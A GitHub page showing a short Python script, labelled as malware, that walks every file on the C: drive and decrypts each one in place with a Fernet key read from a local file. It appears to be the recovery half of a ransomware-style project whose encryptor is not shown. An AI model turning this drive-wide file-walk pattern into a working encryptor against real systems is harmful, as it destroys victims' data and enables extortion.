-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathDecrepted_Malware.py
More file actions
31 lines (25 loc) · 951 Bytes
/
Decrepted_Malware.py
File metadata and controls
31 lines (25 loc) · 951 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import os
from cryptography.fernet import Fernet as fer
# Load the encryption key from the file
with open("key", "rb") as key_file:
SecretKey = key_file.read()
# Create a Fernet object with the loaded key
cipher = fer(SecretKey)
# List to hold paths of all files
files = []
# Walk through all directories and files in the system
for dirpath, dirnames, filenames in os.walk('C:\\'): # Change 'C:\\' for the root drive
for file in filenames:
full_path = os.path.join(dirpath, file) # Get the full path of the file
files.append(full_path)
# Decrypt all collected files
for file in files:
try:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_dec = cipher.decrypt(contents)
with open(file, "wb") as Thefiles:
Thefiles.write(contents_dec)
except Exception as e:
print(f"Error decrypting {file}: {e}")
print("Decryption process completed.")